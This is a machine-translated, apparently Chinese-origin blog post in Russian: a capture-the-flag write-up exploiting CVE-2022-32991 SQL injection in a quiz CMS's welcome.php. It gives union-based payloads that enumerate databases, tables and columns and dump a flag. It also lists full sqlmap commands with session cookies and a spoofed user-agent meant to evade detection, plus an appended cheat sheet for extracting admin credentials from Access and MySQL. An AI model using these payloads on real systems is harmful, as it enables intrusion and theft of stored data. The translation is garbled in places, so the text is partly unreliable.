Spring Cloud Environment: CVE-2022-32991 (инъекция SQL)

Оглавление

1.i Весна и осень

 2. Ручной впрыск

3. Внедрение sqlmap

1.инъекция sqlmap ---file.txt

2.sqlmap -- параметры

Вложение: команда внедрения sql


1.i Весна и осень

Целевое введение:

В файле welcome.php этой CMS есть атака SQL-инъекциями.

Открыть страницу регистрации входа:

 Нажмите, чтобы войти: в URL-адресе нет SQL-инъекций

Не стесняйтесь ввести свой адрес электронной почты и пароль:

 И использовать bp для захвата пакетов

 Повторить ошибку имени пользователя или пароля:

Учитывая, что вы ищете welcome.php, это должна быть страница входа в систему, а быстрый вход в систему слишком медленный и случайный.

Просто начните со страницы регистрации:

Перейти на страницу регистрации:

Вы можете ввести пароль пользователя по желанию:

 Войдите в систему как пользователь, которого мы только что зарегистрировали:

После успешного входа войдите на страницу welcome.php: 

д=2 

 д=3

Когда q=4: страницы нет

 После простого теста обнаруживается, что старт под домом может прыгать:

 Проверьте URL:

 Обнаружено, что каждый раз, когда нажимается кнопка «Отправить», значение n в URL-адресе увеличивается на 1:

 Проверьте n=2' URL-адреса и обнаружите, что есть SQL-инъекция:

 2. Ручной впрыск

 Точка пробного впрыска:

n=2' объединение выбирает 1,2,3,4,5--+

http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34

Запрос текущего имени базы данных:

n=2' union select 1,2,database(),4,5--+

Запрос местоположения базы данных:

n=2' union select 1,2,@@datadir,4,5--+

 таблица базы данных запросов

2' union select 1,2,group_concat(table_name),4,5 из information_schema.tables, где table_schema='ctf'--+

 Просмотрите поля в таблице флагов:

2' union select 1,2,group_concat(column_name),4,5 из information_schema.columns, где table_schema='ctf' и table_name='flag'--+

флаг поля запроса

 2' union select 1,2,group_concat(flag),4,5 from flag--+

значение флага:

 флаг {159e51b2-cdb2-4db2-a59f-5c5c1971216d}

Вот что исчерпал инструмент sqlmap Контейнер новый, поэтому флаг другой.

3. Внедрение sqlmap

 Пакеты для тестирования и захвата:

На данный момент мы можем решить проблему двумя способами:

 Используются sqlmap

 Основные параметры sqlmap:

--u                             #指定要测试的目标url
--p                             #指定sqlmap注入的传参参数
--cookie                        #绕过身份验证
--random-agent或--user-agent    #绕过客户端验证
--batch                         #默认后续sqlmap操作都为Y
--dbs                           #爆破所有数据库(databases缩写)

1.инъекция sqlmap ---file.txt

 Запишите содержимое захваченного пакета в txt:

 Пакетная библиотека:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs

 Взрыв из базы данных:

 Взрыв часы

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" --tables

 Разобранная таблица:

 Всплеск столбца:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" --columns

Поле взрыва:

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" -C "flag" --dump

 

Получить флаг:

флаг {d08e9fb8-9a7e-4827-b478-a32665656c8e}

 

2.sqlmap -- параметры

        На этой странице используется доступ для входа в систему, поэтому сначала подумайте об использовании параметра --cookie, чтобы обойти аутентификацию sqlmap, и добавьте параметр --user-agent или --random-agent, чтобы sqlmap обходил аутентификацию клиента, иначе это может быть распознано как очевидное. идентификация клиента sqlmap, что привело к прерыванию атаки.

-у URL

 -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10"

Параметры для -p 

 -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"

--cookie установить значение cookie 

--cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668"

Автоматическое подтверждение y и пакетная библиотека

--batch --dbs

 полный:

Хоть это и многовато, это просто копирование и вставка~

python sqlmap.py -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" --cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668" --batch --dbs

 

 Лопаться:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" --tables

Всплеск столбца:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" --columns

Поле взрыва:

python sqlmap.py -u "" -p "eid" --user-agent="" --cookie=""  --batch -D "ctf" -T "flag" -C "flag" --dump

Вложение: команда внедрения sql

1. Может появиться жерех? Сайт с id=x

  Это может быть только динамический сайт на базе asp, PHP, jsp, aspx, и есть взаимодействие с базой данных, например: логин, доска объявлений, поиск, новости. А вот статические страницы не допускаются, такие как html, htm.

2. Тестирование уязвимостей

  (1) Тест с одинарными кавычками: используйте парные одинарные кавычки и одинарные одинарные кавычки для проверки при выполнении команд на странице, чтобы увидеть, есть ли SQL-инъекция;

  (2) Протестируйте с использованием условных операторов: используйте параметр соединения SQL «и» для подключения к URL-адресу и подключите 1 = 1 и 1 = 2 в качестве условий.Если условия не установлены, база данных изменится, указывая на наличие инъекции, и вы также можете судить о типе базы данных.

3. Внедрение доступа к базе данных (вручную)

  (1) Используйте оператор «и», чтобы определить, есть ли инъекция;

  (2) определить тип базы данных;

    и (выберите количество (*) из msysobjects)> 0; если разрешения на возврат недостаточно, это таблица доступа, в противном случае это MSSQL.

  (3) Проверьте имя базы данных;

    и db_name()>0

    (4) Просмотр информации о версии;

    и 0<>(выберите @@версию)

  (5) Проверьте, существует ли таблица управления администратором в базе данных;

    и существует (выберите * из [admin])

    и (выберите количество (*) от администратора)> 0

  (6) Проверьте, есть ли в таблице администратора столбец управления именем пользователя;

    и существует (выберите первый [имя пользователя] из [admin])

    и (выбрать имя пользователя из админки)>0

  (7) Угадайте длину имени пользователя в столбце администратора;

    и (выберите 1 верхний лен (имя пользователя) от администратора)> 0

    Следующую длину можно угадать по желанию, и в качестве длины выбирается максимальное возвращаемое нормальное значение плюс 1.

    (8) Удалите значение кода ASCII имени пользователя;

    и (выберите 1 верхний по возрастанию (середина (имя пользователя, N, 1)) от администратора)> 0

    Для перехвата используется функция mid(), N — количество цифр, а «1» — количество цифр; полученный результат можно преобразовать с помощью инструмента Xiaokui, а полученное значение является реальным значением.

4. Внедрение базы данных MySQL (вручную)

  (1) Определите точку инъекции, добавьте # после нее, и если она вернется нормально, это база данных MySQL;

  (2) Оценочное количество символов;

    порядокb на 1--

    Числа можно добавлять непрерывно.Когда возвращаемое значение изменится, это будет количество всех полей + 1; получите количество полей, чтобы определить позицию, в которой данные могут быть отображены

  (3) Комбинированный запрос для определения положения данных, которые могут быть отображены;

    union select 1,2,3...(последнее количество полученных полей) --

    Чтобы добавить неверное значение оценки (и 1=2 или добавить знак «-» перед значением) к URL-адресу, на странице будет отображаться место, где могут отображаться данные.

  (4) Просмотр пользователя, версии, имени библиотеки

    пользователь(),версия(),база данных()

  (5) Просмотр таблицы управления (общие методы именования таблиц управления: система, вход в систему, администратор, пользователи)

    union select 1, table_name (здесь находится место, где могут отображаться данные), 3, ... (количество полей) из Information_schema.tables, где table_schema=(здесь шестнадцатеричное число имени библиотеки) limit 0,1 --

  (6) Просмотр столбцов

    union выберите 1, имя_столбца, 3,..., из Information_schema.column, где table_name=(表名16进制) limit 0,1--

5.sqlmap

  (1) Необходимость запуска в среде Python;

  (2) Проверьте, является ли это точкой впрыска;

    sqlmap.py -u "URL"

  (3) Получить список данных;

    sqlmap.py -u "URL" --dbs

  (4) Текущая база данных;

    sqlmap.py -u "URL" --current-db

  (5) Получить всю табличную информацию в базе данных;

    sqlmap.py -u "URL" --tables -D "целевая база данных"

  (6) Получить столбцы;

    sqlmap.py -u "URL" --column -T "таблица управления" -D "целевая база данных"

  (7) Получить поля;

    sqlmap.py -u "URL" --dump -C "поле" -T "таблица управления" -D "целевая база данных"

Supongo que te gusta

Origin blog.csdn.net/m0_65712192/article/details/130094542
Recomendado
Clasificación